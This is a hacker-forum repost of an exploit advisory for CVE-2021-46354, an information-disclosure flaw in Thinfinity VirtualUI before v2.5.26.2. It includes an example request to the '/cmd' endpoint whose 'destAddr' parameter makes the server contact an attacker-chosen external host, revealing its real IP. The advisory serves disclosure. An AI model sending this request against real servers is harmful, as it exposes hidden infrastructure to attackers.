Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Thinfinity VirtualUI - Information Disclosure



Recommended Posts

Exploit Title: Thinfinity VirtualUI - Information Disclosure
Date: 18/01/2022
Exploit Author: Daniel Morales
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>
Version vulnerable: Thinfinity VirtualUI < v2.5.26.2
Tested on: Microsoft Windows
CVE: CVE-2021-46354

How it works
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).

An example of the HTTP request "https://example.com/cmd <https://example.com/cmd>?
cmd=connect&wscompression=true&destAddr=domain.com <http://domain.com/>

Where "domain.com <http://domain.com/>" is the external endpoint to be requested.

Vulnerable versions
It has been tested in VirtualUI version, and

https://github.com/cybelesoft/virtualui/issues/3 <https://github.com/cybelesoft/virtualui/issues/3>
https://www.tenable.com/cve/CVE-2021-46354 <https://www.tenable.com/cve/CVE-2021-46354>
https://twitter.com/danielmofer <https://twitter.com/danielmofer>
Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...